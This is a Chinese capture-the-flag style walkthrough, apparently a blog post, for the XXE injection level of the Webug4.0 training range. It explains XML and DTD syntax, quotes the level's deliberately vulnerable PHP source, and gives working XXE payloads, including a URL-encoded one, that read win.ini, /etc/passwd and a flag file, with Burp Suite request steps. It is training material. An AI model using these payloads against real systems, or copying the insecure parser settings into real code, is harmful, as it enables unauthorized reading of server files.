Webug4.0通关笔记05- 第7关XXE注入

目录

XXE漏洞

1.XXE简介

2.XXE基本格式

3.DTD基本格式

第07关 XXE注入

1.打开靶场

2.源码分析

3.XXE注入

(1)windows系统

(2)linux系统

(3)获取flag


XXE漏洞

1.XXE简介

XXE -"xml external entity injection",既"xml外部实体注入漏洞"。
概括一下就是"攻击者通过向服务器注入指定的xml实体内容,从而让服务器按照指定的配置进行执行,导致问题",也就是说服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入。

2.XXE基本格式

xml是一种可拓展的标记语言,可以用来存储数据,例如:我们经常看到一些.xml的文件;它还可以用来传输数据,我们可以直接将数据以xml的格式放在请求当中,发给服务器。
第一部分:XML声明部分
<?xml version="1.0"?>
第二部分:文档类型定义 DTD
<!DOCTYPE note[
<!--定义此文档是note类型的文档-->
<!ENTITY entity-name SYSTEM "URI/URL">
<!--外部实体声明-->
]]]>

第三部分:文档元素
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

举例,如下定义中

<?xml version="1.0"?>XML声明
<!DOCTYPE note [
<!ELEMENT note(to,from,heading,body)>
<!ELEMENT to(#PCDATA)>
<!ELEMENT from(#PCDATA)>            文档定义类型(DATA)
<!ELEMENT heading(#PCDATA)>
<!ELEMENT body(#PCDATA)>
]>
<note>
<to>tove</to>
<from>jani</from>
<heading>reminder</heading>
<body>don't forget me this weekend</body>            文档元素
</note>

具体解释

第一行声明XML文件
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型

3.DTD基本格式

DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部。

DTD外部实例举例,外部引用可以支持http,file,ftp等协议。如果一个接口支持接收xm|数据,且没有对xml数据做任何安全上的措施,就可能导致XXE漏洞,如下所示就可以读取到/etc/passwd文件的内容:

外部实体引用 Payload
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞

第07关 XXE注入

1.打开靶场

http://192.168.71.1/webug4/control/sqlinject/xxe_injection.phphttp://192.168.71.1/webug4/control/sqlinject/xxe_injection.php

输入admin后点击登录

进入如下界面

2.源码分析

如下所示存在loadXML的调用,存在XXE漏洞

<?php
/**
 * payload
data=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%6f%6e%74%65%6e%74%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%64%3a%2f%31%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%6e%6f%74%65%3e%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%63%6f%6e%74%65%6e%74%3b%3c%2f%6e%61%6d%65%3e%0a%3c%2f%6e%6f%74%65%3e%20%20%20%20%20
 *
 */
require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}
if(isset($_GET['s'])){
	show_source(__FILE__);
	exit;
}
libxml_disable_entity_loader(false);
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
	$dom = new DOMDocument();
	$dom->loadXML($data, LIBXML_NOENT);
	ob_start();
	var_dump($dom);
	$resp = ob_get_contents();
	ob_end_clean();
	echo "<pre>";
    echo htmlspecialchars($resp);
    echo "</pre>";
}

require_once TPMELATE."/login_xxe.php";
?>

不过在源码中对内容进行了htmlspecialchars($resp)处理逻辑,而在XXE注入的过程中,语句通常会包含空格,而这些会被htmlspecialchars函数处理,所以在处理过程中需要对输入的参数进行URL编码以绕过htmlspecialchars函数的处理。

3.XXE注入

(1)windows系统

构建如下XXE注入脚本,使可以读取到c:/windows/win.ini文件

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY B SYSTEM "file:///c:/windows/win.ini">
]>
<xml>
    <xxe>&B;</xxe>
</xml>

使用data这个post参数,发送如下报文

在bp抓包,将其发送到repeater中

在repeater中将data的参数,即XXE注入的内容进行url编码,如下所示

 编码后如下

 点击发送后,在response的raw中搜索textContent,如下所示获取到了win.ini中的内容,渗透成功

 

(2)linux系统

构建如下XXE注入脚本,使可以读取到/etc/passwd文件

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY B SYSTEM "file:///etc/passwd">
]>
<xml>
    <xxe>&B;</xxe>
</xml>   

如下所示,构造报文并发送到bp

 发送到repeater后对data参数内容使用url encode,处理如下

 如下所示渗透成功

(3)获取flag

分析源码中注释的一段内容,如下所示

/**
 * payload
data=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%3f%3e%0a%3c%21%44%4f%43%54%59%50%45%20%41%4e%59%20%5b%0a%20%20%20%20%3c%21%45%4e%54%49%54%59%20%63%6f%6e%74%65%6e%74%20%53%59%53%54%45%4d%20%22%66%69%6c%65%3a%2f%2f%2f%64%3a%2f%31%2e%74%78%74%22%3e%0a%5d%3e%0a%3c%6e%6f%74%65%3e%0a%20%20%20%20%3c%6e%61%6d%65%3e%26%63%6f%6e%74%65%6e%74%3b%3c%2f%6e%61%6d%65%3e%0a%3c%2f%6e%6f%74%65%3e%20%20%20%20%20
 *
 */

对data信息进行处理,将其放到bp的内容中,url解码后内容为

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///d:/1.txt">
]>
<note>
    <name>&content;</name>
</note>     

也就是说这个data的信息使XXE注入脚本,目的使读取d:/1.txt文件,为了使渗透成功,我们在d盘也创建一个文件,名为1.txt,内容为flag=777777777777777,如下所示

接下来我们在bp中发送此报文,如下所示,可以看到response中搜索textContent字段的话,读取到了d://1.txt的内容,也就是说渗透成功,获取到了flag

靶场的XXE关卡目标应该就是读取到指定的flag文件,如上过程即代表渗透成功。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值